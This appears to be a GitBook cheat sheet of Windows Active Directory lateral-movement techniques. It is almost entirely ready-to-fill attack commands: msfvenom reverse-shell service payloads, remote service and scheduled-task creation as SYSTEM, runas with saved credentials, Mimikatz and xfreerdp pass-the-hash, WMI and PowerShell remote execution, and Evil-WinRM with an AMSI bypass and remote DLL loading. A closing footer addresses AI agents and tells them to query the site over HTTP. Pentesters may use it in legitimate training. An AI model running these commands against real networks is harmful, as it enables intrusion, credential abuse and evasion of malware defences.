# Connection ## Remote administration ### Scheduler Note that executables created by msfvenom to be used by a service have to be created with type exe-service instead of exe to prevent the shell from dying after the task is completed. ``` msfvenom -p windows/shell/reverse_tcp -f exe-service LHOST= LPORT= -o .exe ``` With sc.exe ``` sc.exe \\ create binPath="" start=auto sc.exe \\ start ``` With schtasks ``` schtasks /s /RU "SYSTEM" /create /tn "" /tr "" /sc ONCE /sd 01/01/1970 /st 00:00 schtasks /s /run /TN "" ``` ### RunAs Run with stored credentials ``` cmdkey /list //get a list of credentials, runas will use the ones in memory runas /savecred /user:\ "\\\" //connect to share runas /savecred /user:\ "cmd.exe /k " //run command as user ``` Run by specifying username and password ``` runas /env /noprofile /user:/ "cmd.exe /k " runas /netonly /user:\ "cmd.exe /k " ``` Run as another user on the same machine ``` runas /user: "cmd.exe /k " ``` ### WMI Execute code ``` wmic.exe /user: /password: /node: process call create "cmd.exe /c " ``` Run local msi installer ``` wmic.exe /user: /password: /node: product call install PackageLocation="" ``` ### RDP Mimikatz ``` privilege::debug sekurlsa::pth /user: /domain: /ntlm: /run:"mstsc.exe /restrictedadmin" ``` Xfreerdp ``` xfreerdp +clipboard /dynamic-resolution /cert-ignore /u: /pth: /v: ``` ## Powershell remoting ### Manage sessions Enable remoting (Administrative privileges required) ``` Enable-PSRemoting ``` connect to machine ``` Enter-PSSession -ComputerName ``` Store session data and connect ``` $= New-PSSession -ComputerName Enter-PSSession -Sessions ``` ### Code execution Invoke-Command ``` //disable limit on laguage, enable scriptlets Invoke-Command -ComputerName -ScriptBlock {$ExecutionContext.SessionState.LanguageMode} Invoke-Command -ComputerName -ScriptBlock {

} 
Invoke-Command -ComputerName  -FilePath     //script from file
```

#### Code execution with valid credentials

Load credentials

```
$session = New-PSSession -ComputerName 
$secPassword = ConvertTo-SecureString '' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('htb.local\', $secPassword)
```

Execute command

```
Invoke-Command -ComputerName  -Credential $cred -ScriptBlock {}
```

Run a PowerShell script remotely

```
Invoke-Command -Credential $cred -ComputerName  -FilePath  -Session $session
```

## Powershell + WMI module

### Connect to WMI

Store credentials

```
$username = '';
$password = '';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
```

Start session. WMI supports two protocols: DCOM (port 135 and 49152-65535) or Wsman (ports 5985 and 5986)

```
$Opt = New-CimSessionOption -Protocol 
$Session = New-Cimsession -ComputerName  -Credential $credential -SessionOption $Opt -ErrorAction Stop
```

### Execute command

```
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = ""
}
```

### Create service

```
Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{
Name = "";
DisplayName = "";
PathName = "";
ServiceType = [byte]::Parse("16");
StartMode = "Manual"
}
```

Retrieve and start the service

```
$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE ''"
Invoke-CimMethod -InputObject $Service -MethodName StartService
```

### Create scheduled task

```
$Command = ""
$Args = ""

$Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args
Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName ""
Start-ScheduledTask -CimSession $Session -TaskName ""
```

### Install MSI package

```
Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = ""; Options = ""; AllUsers = $false}
```

## Evil-WinRM

Ps1 files must be stored in path specified by -s option. To execute a script simply type its name in the console.

```
evil-winrm -i  -u Administrator -p 
evil-winrm -i  -u Administrator -H 
```

### In-memory execution + AMSI Bypass

Find pre-compiled binaries for in-memory execution here: 

```
menu
Bypass-4MSI
Invoke-Binary 
```

### Dll loader

```
Dll-loader -http -path http://
Dll-loader -smb -path \\\\.dll
Dll-loader -local -path C:\
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://security-notes.gitbook.io/security-notes/active-directory/lateral-movement.md?ask=
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.